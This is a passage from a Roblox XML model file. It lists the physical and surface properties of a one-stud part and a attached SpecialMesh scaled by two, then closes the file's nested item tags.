						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">0</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX124">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><null></null></Content>
						<token name="MeshType">3</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>2</X>
							<Y>2</Y>
							<Z>2</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
	</Item>
</roblox>